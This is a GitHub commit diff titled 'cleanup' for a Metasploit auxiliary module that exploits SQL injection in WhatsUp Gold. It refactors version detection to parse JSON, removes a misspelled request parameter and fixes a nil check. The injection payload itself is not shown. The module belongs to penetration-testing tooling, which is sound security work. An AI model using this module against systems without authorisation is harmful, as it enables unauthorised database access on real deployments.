Skip to content

Commit fdd740b

Browse files
committed
cleanup
cleanup
1 parent 64f595c commit fdd740b

File tree

1 file changed

+7
-8
lines changed

1 file changed

+7
-8
lines changed

modules/auxiliary/admin/http/whatsup_gold_sqli.rb

Lines changed: 7 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -53,9 +53,10 @@ def check
5353

5454
return CheckCode::Unknown unless res && res.code == 200
5555

56-
data = res.body
57-
version = data.match(/"path":"app-(.*?)\.js"/)[1]
58-
56+
data = res.get_json_document
57+
data_js = data['js']
58+
version_path = data_js.find { |item| item["path"] =~ /app-/ }["path"]
59+
version = version_path[/app-(.*)\.js/, 1]
5960
if version.nil?
6061
return CheckCode::Unknown
6162
else
@@ -97,8 +98,7 @@ def run
9798
range: rand(1..9).to_s,
9899
n: rand(1..9).to_s,
99100
start: rand(1..9).to_s,
100-
end: rand(1..9).to_s,
101-
businesdsHoursId: rand(1..9).to_s
101+
end: rand(1..9).to_s
102102
}.to_json
103103

104104
res = send_request_cgi(
@@ -133,7 +133,7 @@ def run
133133
json_body = JSON.parse(body)
134134

135135
result = json_body.find { |item| item['DisplayName'].start_with?(marker.to_s) }
136-
unless result || result.nil
136+
unless result
137137
fail_with(Failure::UnexpectedReply, 'Coud not find DisplayName match with marker.')
138138
end
139139

@@ -150,8 +150,7 @@ def run
150150
range: rand(1..9).to_s,
151151
n: rand(1..9).to_s,
152152
start: rand(1..9).to_s,
153-
end: rand(1..9).to_s,
154-
businesdsHoursId: rand(1..9).to_s
153+
end: rand(1..9).to_s
155154
}.to_json
156155

157156
res = send_request_cgi(

0 commit comments

Comments
 (0)